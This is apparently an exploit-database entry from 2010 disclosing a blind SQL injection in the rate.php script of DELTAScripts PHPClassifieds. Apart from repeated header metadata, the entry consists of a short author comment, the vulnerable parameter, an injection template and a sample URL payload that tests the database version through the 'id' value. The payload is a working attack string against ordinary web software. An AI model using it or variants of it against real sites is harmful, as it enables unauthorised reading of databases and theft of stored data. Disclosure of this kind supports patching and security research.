DELTAScripts PHPClassifieds - 'rate.php' Blind SQL Injection
| EKU-ID: 18462 | CVE: | OSVDB-ID: |
| Author: Hamza 'MizoZ' N. | Published: 2010-01-08 | Verified:
 |
| Download: | ||
Rating☆☆☆☆☆ |
| EKU-ID: 18462 | CVE: | OSVDB-ID: |
| Author: Hamza 'MizoZ' N. | Published: 2010-01-08 | Verified:
|
| Download: | ||
Rating☆☆☆☆☆ |
/* Name : DELTAScripts PHPClassifieds Vuln : Blind SQL Injection Author : Hamza 'MizoZ' N. Email : mizozx[at]gmail[dot]com WebSite : www.greymen.org<http://www.greymen.org> Greetz : Zuka, all friends & arab hackers */ Vulnerability is in the rate.php , $_GET['id'] [HOST]/[PATH]/rate.php?id=[true value]+[INJECTION] exemples : http://server/rate.php?id=405+and+%28select%20version%28%29%29=5--